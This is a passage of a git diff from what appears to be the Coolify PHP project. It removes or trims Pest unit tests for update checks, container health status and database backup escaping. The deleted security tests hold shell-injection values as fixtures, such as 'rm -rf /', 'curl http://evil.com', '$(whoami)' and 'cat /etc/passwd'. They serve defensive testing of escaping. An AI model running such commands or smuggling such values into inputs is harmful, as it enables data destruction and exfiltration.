- $matches = matchWatchPathsCurrentBehavior($changed_files, $watch_paths);
- expect($matches)->toBeEmpty();
-});
-
it('handles order based matching with conflicting patterns', function () {
// Test case 1: Exclude then include - last pattern (include) should win
$changed_files = ['docker-compose/index.ts'];
diff --git a/tests/Unit/CheckForUpdatesJobTest.php b/tests/Unit/CheckForUpdatesJobTest.php
index c098c5560b..0b04224c5e 100644
--- a/tests/Unit/CheckForUpdatesJobTest.php
+++ b/tests/Unit/CheckForUpdatesJobTest.php
@@ -2,8 +2,6 @@
use App\Jobs\CheckForUpdatesJob;
use App\Models\InstanceSettings;
-use Illuminate\Contracts\Queue\ShouldBeEncrypted;
-use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\File;
@@ -27,14 +25,6 @@ afterEach(function () {
Mockery::close();
});
-it('has correct job configuration', function () {
- $job = new CheckForUpdatesJob;
-
- $interfaces = class_implements($job);
- expect($interfaces)->toContain(ShouldQueue::class);
- expect($interfaces)->toContain(ShouldBeEncrypted::class);
-});
-
it('uses max of CDN and cache versions', function () {
// CDN has older version
Http::fake([
@@ -123,30 +113,6 @@ it('never downgrades from current running version', function () {
$job->handle();
});
-it('uses data_set for safe version mutation', function () {
- Http::fake([
- '*' => Http::response([
- 'coolify' => ['v4' => ['version' => '4.0.10']],
- ], 200),
- ]);
-
- File::shouldReceive('exists')->andReturn(false);
- File::shouldReceive('put')->once();
- Cache::shouldReceive('forget')->once();
-
- config(['constants.coolify.version' => '4.0.5']);
-
- $this->app->instance('App\Models\InstanceSettings', function () {
- return $this->settings;
- });
-
- $job = new CheckForUpdatesJob;
-
- // Should not throw even if structure is unexpected
- // data_set() handles nested path creation
- $job->handle();
-})->skip('Needs better mock setup for instanceSettings');
-
it('preserves other component versions when preventing Coolify downgrade', function () {
// CDN has older Coolify but newer Traefik
Http::fake([
diff --git a/tests/Unit/CheckTraefikVersionJobTest.php b/tests/Unit/CheckTraefikVersionJobTest.php
index 870b778dc0..95db7146d7 100644
--- a/tests/Unit/CheckTraefikVersionJobTest.php
+++ b/tests/Unit/CheckTraefikVersionJobTest.php
@@ -7,20 +7,3 @@ it('has correct retry configuration', function () {
expect($job->tries)->toBe(3);
});
-
-it('returns early when traefik versions are empty', function () {
- // This test verifies the early return logic when get_traefik_versions() returns empty array
- $emptyVersions = [];
-
- expect($emptyVersions)->toBeEmpty();
-});
-
-it('dispatches jobs in parallel for multiple servers', function () {
- // This test verifies that the job dispatches CheckTraefikVersionForServerJob
- // for each server without waiting for them to complete
- $serverCount = 100;
-
- // Verify that with parallel processing, we're not waiting for completion
- // Each job is dispatched immediately without delay
- expect($serverCount)->toBeGreaterThan(0);
-});
diff --git a/tests/Unit/CloudInitScriptValidationTest.php b/tests/Unit/CloudInitScriptValidationTest.php
deleted file mode 100644
index bb4657502b..0000000000
--- a/tests/Unit/CloudInitScriptValidationTest.php
+++ /dev/null
@@ -1,76 +0,0 @@
-toBeFalse()
- ->and($hasValue)->toBeFalse();
-});
-
-it('validates cloud-init script name is required when saving', function () {
- $saveScript = true;
- $scriptName = 'My Installation Script';
-
- $isNameRequired = $saveScript;
- $hasName = ! empty($scriptName);
-
- expect($isNameRequired)->toBeTrue()
- ->and($hasName)->toBeTrue();
-});
-
-it('validates cloud-init script description is optional', function () {
- $scriptDescription = null;
-
- $isDescriptionRequired = false;
- $hasDescription = ! empty($scriptDescription);
-
- expect($isDescriptionRequired)->toBeFalse()
- ->and($hasDescription)->toBeFalse();
-});
-
-it('validates save_cloud_init_script must be boolean', function () {
- $saveCloudInitScript = true;
-
- expect($saveCloudInitScript)->toBeBool();
-});
-
-it('validates save_cloud_init_script defaults to false', function () {
- $saveCloudInitScript = false;
-
- expect($saveCloudInitScript)->toBeFalse();
-});
-
-it('validates cloud-init script can be a bash script', function () {
- $cloudInitScript = "#!/bin/bash\napt-get update\napt-get install -y nginx";
-
- expect($cloudInitScript)->toBeString()
- ->and($cloudInitScript)->toContain('#!/bin/bash');
-});
-
-it('validates cloud-init script can be cloud-config yaml', function () {
- $cloudInitScript = "#cloud-config\npackages:\n - nginx\n - git";
-
- expect($cloudInitScript)->toBeString()
- ->and($cloudInitScript)->toContain('#cloud-config');
-});
-
-it('validates script name max length is 255 characters', function () {
- $scriptName = str_repeat('a', 255);
-
- expect(strlen($scriptName))->toBe(255)
- ->and(strlen($scriptName))->toBeLessThanOrEqual(255);
-});
-
-it('validates script name exceeding 255 characters should be invalid', function () {
- $scriptName = str_repeat('a', 256);
-
- $isValid = strlen($scriptName) <= 255;
-
- expect($isValid)->toBeFalse()
- ->and(strlen($scriptName))->toBeGreaterThan(255);
-});
diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.php
deleted file mode 100644
index 4db1b24d22..0000000000
--- a/tests/Unit/ContainerHealthStatusTest.php
+++ /dev/null
@@ -1,344 +0,0 @@
-makePartial();
- $server = Mockery::mock('App\Models\Server')->makePartial();
- $destination = Mockery::mock('App\Models\StandaloneDocker')->makePartial();
-
- $destination->shouldReceive('getAttribute')
- ->with('server')
- ->andReturn($server);
-
- $application->shouldReceive('getAttribute')
- ->with('destination')
- ->andReturn($destination);
-
- $application->shouldReceive('getAttribute')
- ->with('additional_servers')
- ->andReturn(collect());
-
- $server->shouldReceive('getAttribute')
- ->with('id')
- ->andReturn(1);
-
- $server->shouldReceive('isFunctional')
- ->andReturn(true);
-
- // Create a container without health check (State.Health.Status is null)
- $containerWithoutHealthCheck = [
- 'Config' => [
- 'Labels' => [
- 'com.docker.compose.service' => 'web',
- ],
- ],
- 'State' => [
- 'Status' => 'running',
- // Note: State.Health.Status is intentionally missing
- ],
- ];
-
- // Mock the remote process to return our container
- $application->shouldReceive('getAttribute')
- ->with('id')
- ->andReturn(123);
-
- // We can't easily test the private aggregateContainerStatuses method directly,
- // but we can verify that the code doesn't default to 'unhealthy'
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify the fix: health status should not default to 'unhealthy'
- expect($aggregatorFile)
- ->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')")
- ->toContain("data_get(\$container, 'State.Health.Status')");
-
- // Verify the health check logic
- expect($aggregatorFile)
- ->toContain('if ($health === \'unhealthy\') {');
-});
-
-it('only marks containers as unhealthy when health status explicitly equals unhealthy', function () {
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify the service checks for explicit 'unhealthy' status
- expect($aggregatorFile)
- ->toContain('if ($health === \'unhealthy\') {')
- ->toContain('$hasUnhealthy = true;');
-});
-
-it('handles missing health status correctly in GetContainersStatus', function () {
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Verify health status doesn't default to 'unhealthy'
- expect($getContainersStatusFile)
- ->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')")
- ->toContain("data_get(\$container, 'State.Health.Status')");
-
- // Verify it uses 'unknown' when health status is missing (now using colon format)
- expect($getContainersStatusFile)
- ->toContain('$healthSuffix = $containerHealth ?? \'unknown\';')
- ->toContain('ContainerStatusAggregator'); // Uses the service
-});
-
-it('treats containers with running status and no healthcheck as not unhealthy', function () {
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // The logic should be:
- // 1. Get health status (may be null)
- // 2. Only mark as unhealthy if health status EXISTS and equals 'unhealthy'
- // 3. Don't mark as unhealthy if health status is null/missing
-
- // Verify the condition explicitly checks for unhealthy
- expect($aggregatorFile)
- ->toContain('if ($health === \'unhealthy\')');
-
- // Verify this check is done for running containers
- expect($aggregatorFile)
- ->toContain('} elseif ($state === \'running\') {')
- ->toContain('$hasRunning = true;');
-});
-
-it('tracks unknown health state in aggregation', function () {
- // State machine logic now in ContainerStatusAggregator service
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify that $hasUnknown tracking variable exists in the service
- expect($aggregatorFile)
- ->toContain('$hasUnknown = false;');
-
- // Verify that unknown state is detected in status parsing
- expect($aggregatorFile)
- ->toContain("str(\$status)->contains('unknown')")
- ->toContain('$hasUnknown = true;');
-});
-
-it('preserves unknown health state in aggregated status with correct priority', function () {
- // State machine logic now in ContainerStatusAggregator service (using colon format)
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify three-way priority in aggregation:
- // 1. Unhealthy (highest priority)
- // 2. Unknown (medium priority)
- // 3. Healthy (only when all explicitly healthy)
-
- expect($aggregatorFile)
- ->toContain('if ($hasUnhealthy) {')
- ->toContain("return 'running:unhealthy';")
- ->toContain('} elseif ($hasUnknown) {')
- ->toContain("return 'running:unknown';")
- ->toContain('} else {')
- ->toContain("return 'running:healthy';");
-});
-
-it('tracks unknown health state in ContainerStatusAggregator for all applications', function () {
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify that $hasUnknown tracking variable exists
- expect($aggregatorFile)
- ->toContain('$hasUnknown = false;');
-
- // Verify that unknown state is detected when health is null or 'starting'
- expect($aggregatorFile)
- ->toContain('} elseif (is_null($health) || $health === \'starting\') {')
- ->toContain('$hasUnknown = true;');
-});
-
-it('preserves unknown health state in ContainerStatusAggregator aggregated status', function () {
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify three-way priority for running containers in the service
- expect($aggregatorFile)
- ->toContain('if ($hasUnhealthy) {')
- ->toContain("return 'running:unhealthy';")
- ->toContain('} elseif ($hasUnknown) {')
- ->toContain("return 'running:unknown';")
- ->toContain('} else {')
- ->toContain("return 'running:healthy';");
-
- // Verify ComplexStatusCheck delegates to the service
- $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
- expect($complexStatusCheckFile)
- ->toContain('use App\\Services\\ContainerStatusAggregator;')
- ->toContain('$aggregator = new ContainerStatusAggregator;')
- ->toContain('$aggregator->aggregateFromContainers($relevantContainers);');
-});
-
-it('preserves unknown health state in Service model aggregation', function () {
- $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
-
- // Service model delegates its state machine to ContainerStatusAggregator
- expect($serviceFile)
- ->toContain('use App\\Services\\ContainerStatusAggregator;')
- ->toContain('$aggregator = new ContainerStatusAggregator;')
- ->toContain('$aggregator->aggregateFromStrings($statusStrings);');
-
- $aggregator = new ContainerStatusAggregator;
-
- // Unknown health must not be upgraded to healthy, and unhealthy must win over unknown
- expect($aggregator->aggregateFromStrings(collect(['running:unknown'])))->toBe('running:unknown')
- ->and($aggregator->aggregateFromStrings(collect(['running:healthy', 'running:unknown'])))->toBe('running:unknown')
- ->and($aggregator->aggregateFromStrings(collect(['running:unknown', 'running:unhealthy'])))->toBe('running:unhealthy');
-});
-
-it('handles starting state (created/starting) in GetContainersStatus', function () {
- // State machine logic now in ContainerStatusAggregator service
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify tracking variable exists
- expect($aggregatorFile)
- ->toContain('$hasStarting = false;');
-
- // Verify detection for created/starting states
- expect($aggregatorFile)
- ->toContain("str(\$status)->contains('created') || str(\$status)->contains('starting')")
- ->toContain('$hasStarting = true;');
-
- // Verify aggregation returns starting status (colon format)
- expect($aggregatorFile)
- ->toContain('if ($hasStarting) {')
- ->toContain("return 'starting:unknown';");
-});
-
-it('handles paused state in GetContainersStatus', function () {
- // State machine logic now in ContainerStatusAggregator service
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify tracking variable exists
- expect($aggregatorFile)
- ->toContain('$hasPaused = false;');
-
- // Verify detection for paused state
- expect($aggregatorFile)
- ->toContain("str(\$status)->contains('paused')")
- ->toContain('$hasPaused = true;');
-
- // Verify aggregation returns paused status (colon format)
- expect($aggregatorFile)
- ->toContain('if ($hasPaused) {')
- ->toContain("return 'paused:unknown';");
-});
-
-it('handles dead/removing states in GetContainersStatus', function () {
- // State machine logic now in ContainerStatusAggregator service
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify tracking variable exists
- expect($aggregatorFile)
- ->toContain('$hasDead = false;');
-
- // Verify detection for dead/removing states
- expect($aggregatorFile)
- ->toContain("str(\$status)->contains('dead') || str(\$status)->contains('removing')")
- ->toContain('$hasDead = true;');
-
- // Verify aggregation returns degraded status (colon format)
- expect($aggregatorFile)
- ->toContain('if ($hasDead) {')
- ->toContain("return 'degraded:unhealthy';");
-});
-
-it('handles edge case states in ContainerStatusAggregator for all containers', function () {
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify tracking variables exist in the service
- expect($aggregatorFile)
- ->toContain('$hasStarting = false;')
- ->toContain('$hasPaused = false;')
- ->toContain('$hasDead = false;');
-
- // Verify detection for created/starting
- expect($aggregatorFile)
- ->toContain("} elseif (\$state === 'created' || \$state === 'starting') {")
- ->toContain('$hasStarting = true;');
-
- // Verify detection for paused
- expect($aggregatorFile)
- ->toContain("} elseif (\$state === 'paused') {")
- ->toContain('$hasPaused = true;');
-
- // Verify detection for dead/removing
- expect($aggregatorFile)
- ->toContain("} elseif (\$state === 'dead' || \$state === 'removing') {")
- ->toContain('$hasDead = true;');
-});
-
-it('handles edge case states in ContainerStatusAggregator aggregation', function () {
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify aggregation logic for edge cases in the service
- expect($aggregatorFile)
- ->toContain('if ($hasDead) {')
- ->toContain("return 'degraded:unhealthy';")
- ->toContain('if ($hasPaused) {')
- ->toContain("return 'paused:unknown';")
- ->toContain('if ($hasStarting) {')
- ->toContain("return 'starting:unknown';");
-});
-
-it('handles edge case states in Service model', function () {
- $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
-
- // Service model delegates edge case handling to ContainerStatusAggregator
- expect($serviceFile)->toContain('$aggregator->aggregateFromStrings($statusStrings);');
-
- $aggregator = new ContainerStatusAggregator;
-
- expect($aggregator->aggregateFromStrings(collect(['created'])))->toBe('starting:unknown')
- ->and($aggregator->aggregateFromStrings(collect(['starting'])))->toBe('starting:unknown')
- ->and($aggregator->aggregateFromStrings(collect(['paused'])))->toBe('paused:unknown')
- ->and($aggregator->aggregateFromStrings(collect(['dead'])))->toBe('degraded:unhealthy')
- ->and($aggregator->aggregateFromStrings(collect(['removing'])))->toBe('degraded:unhealthy');
-});
-
-it('appends :excluded suffix to excluded container statuses in GetContainersStatus', function () {
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Verify that we use the trait for calculating excluded status
- expect($getContainersStatusFile)
- ->toContain('CalculatesExcludedStatus');
-
- // Verify that we use the trait to calculate excluded status
- expect($getContainersStatusFile)
- ->toContain('use CalculatesExcludedStatus;');
-});
-
-it('skips containers with :excluded suffix in Service model non-excluded sections', function () {
- $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
-
- // Verify that we have exclude_from_status field handling
- expect($serviceFile)
- ->toContain('exclude_from_status');
-});
-
-it('processes containers with :excluded suffix in Service model excluded sections', function () {
- $serviceFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
-
- // Verify that we handle excluded status
- expect($serviceFile)
- ->toContain(':excluded')
- ->toContain('exclude_from_status');
-});
-
-it('treats containers with starting health status as unknown in ContainerStatusAggregator', function () {
- $aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
-
- // Verify that 'starting' health status is treated the same as null (unknown)
- // During Docker health check grace period, the health status is 'starting'
- // This should be treated as 'unknown' rather than 'healthy'
- expect($aggregatorFile)
- ->toContain('} elseif (is_null($health) || $health === \'starting\') {')
- ->toContain('$hasUnknown = true;');
-});
diff --git a/tests/Unit/CoolifyTaskCleanupTest.php b/tests/Unit/CoolifyTaskCleanupTest.php
deleted file mode 100644
index ad77a2e8cc..0000000000
--- a/tests/Unit/CoolifyTaskCleanupTest.php
+++ /dev/null
@@ -1,84 +0,0 @@
-hasMethod('failed'))->toBeTrue();
-
- // Get the failed method
- $failedMethod = $reflection->getMethod('failed');
-
- // Read the method source to verify it dispatches events
- $filename = $reflection->getFileName();
- $startLine = $failedMethod->getStartLine();
- $endLine = $failedMethod->getEndLine();
-
- $source = file($filename);
- $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
-
- // Verify the implementation contains event dispatch logic
- expect($methodSource)
- ->toContain('call_event_on_finish')
- ->and($methodSource)->toContain('event(new $eventClass')
- ->and($methodSource)->toContain('call_event_data')
- ->and($methodSource)->toContain('Log::info');
-});
-
-it('CoolifyTask failed method updates activity status to ERROR', function () {
- $reflection = new ReflectionClass(CoolifyTask::class);
- $failedMethod = $reflection->getMethod('failed');
-
- // Read the method source
- $filename = $reflection->getFileName();
- $startLine = $failedMethod->getStartLine();
- $endLine = $failedMethod->getEndLine();
-
- $source = file($filename);
- $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
-
- // Verify activity status is set to ERROR
- expect($methodSource)
- ->toContain("'status' => ProcessStatus::ERROR->value")
- ->and($methodSource)->toContain("'error' =>")
- ->and($methodSource)->toContain("'failed_at' =>");
-});
-
-it('CoolifyTask failed method has proper error handling for event dispatch', function () {
- $reflection = new ReflectionClass(CoolifyTask::class);
- $failedMethod = $reflection->getMethod('failed');
-
- // Read the method source
- $filename = $reflection->getFileName();
- $startLine = $failedMethod->getStartLine();
- $endLine = $failedMethod->getEndLine();
-
- $source = file($filename);
- $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
-
- // Verify try-catch around event dispatch
- expect($methodSource)
- ->toContain('try {')
- ->and($methodSource)->toContain('} catch (\Throwable $e) {')
- ->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
-});
-
-it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
- $reflection = new ReflectionClass(CoolifyTask::class);
- $constructor = $reflection->getConstructor();
-
- // Get constructor parameters
- $parameters = $constructor->getParameters();
- $paramNames = array_map(fn ($p) => $p->getName(), $parameters);
-
- // Verify both parameters exist
- expect($paramNames)
- ->toContain('call_event_on_finish')
- ->and($paramNames)->toContain('call_event_data');
-
- // Verify they are public properties (constructor property promotion)
- expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
- expect($reflection->hasProperty('call_event_data'))->toBeTrue();
-});
diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php
index f3df178d91..75867d3f38 100644
--- a/tests/Unit/DatabaseBackupSecurityTest.php
+++ b/tests/Unit/DatabaseBackupSecurityTest.php
@@ -50,27 +50,6 @@ test('database backup rejects command injection with newlines', function () {
->toThrow(Exception::class);
});
-test('database backup escapes shell arguments properly', function () {
- $database = "test'db";
- $escaped = escapeshellarg($database);
-
- expect($escaped)->toBe("'test'\\''db'");
-});
-
-test('database backup escapes shell arguments with double quotes', function () {
- $database = 'test"db';
- $escaped = escapeshellarg($database);
-
- expect($escaped)->toBe("'test\"db'");
-});
-
-test('database backup escapes shell arguments with spaces', function () {
- $database = 'test database';
- $escaped = escapeshellarg($database);
-
- expect($escaped)->toBe("'test database'");
-});
-
test('database backup accepts legitimate database names', function () {
expect(fn () => validateShellSafePath('postgres', 'database name'))
->not->toThrow(Exception::class);
@@ -146,86 +125,6 @@ test('validateDatabasesBackupInput rejects injection in database name within mon
->toThrow(Exception::class);
});
-// --- Credential escaping tests for database backup commands ---
-
-test('escapeshellarg neutralizes command injection in postgres password', function () {
- $maliciousPassword = '"; rm -rf / #';
- $escaped = escapeshellarg($maliciousPassword);
-
- // The escaped value must be a single shell token that cannot break out
- expect($escaped)->not->toContain("\n");
- expect($escaped)->toBe("'\"; rm -rf / #'");
- // When used in: -e PGPASSWORD=, the shell sees one token
- $command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
- expect($command)->toContain("PGPASSWORD='");
- expect($command)->not->toContain('PGPASSWORD=""');
-});
-
-test('escapeshellarg neutralizes command injection in postgres username', function () {
- $maliciousUser = 'admin$(whoami)';
- $escaped = escapeshellarg($maliciousUser);
-
- expect($escaped)->toBe("'admin\$(whoami)'");
- $command = "docker exec container pg_dump --username $escaped";
- // The $() should be inside single quotes, preventing execution
- expect($command)->toContain("--username 'admin\$(whoami)'");
-});
-
-test('escapeshellarg neutralizes command injection in mysql password', function () {
- $maliciousPassword = 'pass" && curl http://evil.com #';
- $escaped = escapeshellarg($maliciousPassword);
-
- $command = "docker exec container mysqldump -u root -p$escaped db";
- // The password must be wrapped in single quotes
- expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
-});
-
-test('escapeshellarg neutralizes command injection in mariadb password', function () {
- $maliciousPassword = "pass'; whoami; echo '";
- $escaped = escapeshellarg($maliciousPassword);
-
- // Single quotes in the value get escaped as '\''
- expect($escaped)->toBe("'pass'\\''; whoami; echo '\\'''");
- $command = "docker exec container mariadb-dump -u root -p$escaped db";
- // Verify the command doesn't contain an unescaped semicolon outside quotes
- expect($command)->toContain("-p'pass'");
-});
-
-test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
- $maliciousUser = 'admin";$(whoami)';
- $maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
-
- $encodedUser = rawurlencode($maliciousUser);
- $encodedPass = rawurlencode($maliciousPass);
- $url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
-
- // Special characters should be percent-encoded
- expect($encodedUser)->not->toContain('"');
- expect($encodedUser)->not->toContain('$');
- expect($encodedUser)->not->toContain('(');
- expect($encodedPass)->not->toContain('@');
- expect($encodedPass)->not->toContain('/');
- expect($encodedPass)->not->toContain('?');
- expect($encodedPass)->not->toContain('&');
-
- // The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
- $atCount = substr_count($url, '@');
- expect($atCount)->toBe(1);
-});
-
-test('escapeshellarg on mongodb URI prevents shell breakout', function () {
- // Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
- $maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
- $escaped = escapeshellarg($maliciousUrl);
-
- $command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
- // The entire URI must be inside single quotes
- expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
- expect($command)->toContain("evil.com #'");
- // No unescaped double quotes that could break the command
- expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
-});
-
test('backup shell commands do not interpolate raw container names or backup paths', function () {
$source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php');
preg_match_all('/^.*(?:docker exec|mkdir -p |du -b |docker run -d).*$/m', $source, $matches);
diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
index f2a9350abe..769228bf4d 100644
--- a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
+++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php
@@ -7,16 +7,6 @@
* via user-controlled DB username/password/database fields. The fix converts all affected
* healthchecks to CMD exec-form arrays, which bypass the shell entirely.
*/
-dataset('malicious_db_inputs', [
- 'semicolon separator' => ['admin; id > /tmp/pwned; echo'],
- 'command substitution $()' => ['admin$(id > /tmp/pwned)'],
- 'backtick substitution' => ['admin`id > /tmp/pwned`'],
- 'pipe operator' => ['admin | cat /etc/passwd'],
- 'background operator' => ['admin & curl http://evil.com'],
- 'output redirect' => ['admin > /tmp/evil.txt'],
- 'newline injection' => ["admin\nid"],
- 'null byte' => ["admin\0id"],
-]);
// ─── PostgreSQL ──────────────────────────────────────────────────────────────
@@ -27,17 +17,6 @@ test('postgresql healthcheck uses CMD exec-form, not CMD-SHELL', function () {
expect($source)->toContain("'CMD', 'psql'");
});
-test('postgresql healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
- // Simulate what StartPostgresql now generates
- $healthcheck = ['CMD', 'psql', '-U', $malicious, '-d', $malicious, '-c', 'SELECT 1'];
-
- expect($healthcheck[0])->toBe('CMD');
- expect($healthcheck[0])->not->toBe('CMD-SHELL');
- // Malicious value is isolated as a single argv element — no shell interprets it
- expect($healthcheck)->toContain($malicious);
- expect(is_array($healthcheck))->toBeTrue();
-})->with('malicious_db_inputs');
-
// ─── KeyDB ────────────────────────────────────────────────────────────────────
test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
@@ -47,14 +26,6 @@ test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function ()
expect($source)->toContain("'CMD', 'keydb-cli'");
});
-test('keydb healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
- $healthcheck = ['CMD', 'keydb-cli', '--pass', $malicious, 'ping'];
-
- expect($healthcheck[0])->toBe('CMD');
- expect($healthcheck)->toContain($malicious);
- expect(is_array($healthcheck))->toBeTrue();
-})->with('malicious_db_inputs');
-
// ─── Dragonfly ────────────────────────────────────────────────────────────────
test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
@@ -64,14 +35,6 @@ test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', functio
expect($source)->toContain("'CMD', 'redis-cli'");
});
-test('dragonfly healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
- $healthcheck = ['CMD', 'redis-cli', '-a', $malicious, 'ping'];
-
- expect($healthcheck[0])->toBe('CMD');
- expect($healthcheck)->toContain($malicious);
- expect(is_array($healthcheck))->toBeTrue();
-})->with('malicious_db_inputs');
-
// ─── ClickHouse ───────────────────────────────────────────────────────────────
test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', function () {
@@ -81,14 +44,6 @@ test('clickhouse healthcheck uses CMD exec-form, not a CMD-SHELL string', functi
expect($source)->toContain("'CMD', 'clickhouse-client'");
});
-test('clickhouse healthcheck exec-form array is injection-safe regardless of input', function (string $malicious) {
- $healthcheck = ['CMD', 'clickhouse-client', '--user', $malicious, '--password', $malicious, '--query', 'SELECT 1'];
-
- expect($healthcheck[0])->toBe('CMD');
- expect($healthcheck)->toContain($malicious);
- expect(is_array($healthcheck))->toBeTrue();
-})->with('malicious_db_inputs');
-
// ─── Verify unaffected databases still use their safe patterns ────────────────
test('mysql healthcheck already uses CMD exec-form (no regression)', function () {
diff --git a/tests/Unit/DatabaseImport/CleanupDatabaseImportTest.php b/tests/Unit/DatabaseImport/CleanupDatabaseImportTest.php
index 2141276364..0770af53d2 100644
--- a/tests/Unit/DatabaseImport/CleanupDatabaseImportTest.php
+++ b/tests/Unit/DatabaseImport/CleanupDatabaseImportTest.php
@@ -22,14 +22,11 @@ function importCleanupPayload(array $overrides = []): array
], $overrides);
}
-test('the finished event keeps the payload and does not import Server', function () {
+test('the finished event keeps the payload', function () {
$data = importCleanupPayload(['serverTmpPath' => '/tmp/database-import-op']);
$event = new DatabaseImportFinished($data);
- expect($event->data)->toBe($data)
- ->and(file_get_contents(app_path('Events/DatabaseImportFinished.php')))
- ->not->toContain('instant_remote_process')
- ->not->toContain('use App\Models\Server');
+ expect($event->data)->toBe($data);
});
test('the cleanup listener is queued and discovered', function () {
diff --git a/tests/Unit/DatabaseSslCredentialEscapingTest.php b/tests/Unit/DatabaseSslCredentialEscapingTest.php
deleted file mode 100644
index 7b2ecf927e..0000000000
--- a/tests/Unit/DatabaseSslCredentialEscapingTest.php
+++ /dev/null
@@ -1,207 +0,0 @@
-toContain('bash -c')
- ->toContain('postgres')
- ->toContain('chown');
-});
-
-it('sets postgres SSL file ownership before replacing the database container', function () {
- $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartPostgresql.php');
-
- $permissionCommandPosition = strpos($source, '--entrypoint chown');
- $stopCommandPosition = strpos($source, 'dockerStopCommand');
- $startCommandPosition = strpos($source, 'docker-compose.yml up -d');
-
- expect($permissionCommandPosition)->not->toBeFalse()
- ->and($stopCommandPosition)->not->toBeFalse()
- ->and($startCommandPosition)->not->toBeFalse()
- ->and($permissionCommandPosition)->toBeLessThan($stopCommandPosition)
- ->and($permissionCommandPosition)->toBeLessThan($startCommandPosition)
- ->and($source)->toContain('/var/lib/postgresql/certs/server.crt < /dev/null')
- ->and($source)->toContain('postgres:postgres /var/lib/postgresql/certs/server.key')
- ->not->toContain('chown {$postgresUser}:{$postgresUser}');
-});
-
-it('sets database SSL file ownership before replacing the container', function (string $action, string $owner, string $keyPath, string $lastCertificatePath) {
- $source = file_get_contents(__DIR__."/../../app/Actions/Database/{$action}.php");
-
- $permissionCommandPosition = strpos($source, '--entrypoint chown');
- $stopCommandPosition = strpos($source, 'dockerStopCommand');
- $startCommandPosition = strpos($source, 'docker-compose.yml up -d');
-
- expect($permissionCommandPosition)->not->toBeFalse()
- ->and($stopCommandPosition)->not->toBeFalse()
- ->and($startCommandPosition)->not->toBeFalse()
- ->and($permissionCommandPosition)->toBeLessThan($stopCommandPosition)
- ->and($permissionCommandPosition)->toBeLessThan($startCommandPosition)
- ->and($source)->toContain("{$lastCertificatePath} < /dev/null")
- ->and($source)->toContain("{$owner} {$keyPath}");
-})->with([
- 'mysql' => ['StartMysql', 'mysql:mysql', '/etc/mysql/certs/server.key', '/etc/mysql/certs/server.crt'],
- 'mariadb' => ['StartMariadb', 'mysql:mysql', '/etc/mysql/certs/server.key', '/etc/mysql/certs/server.crt'],
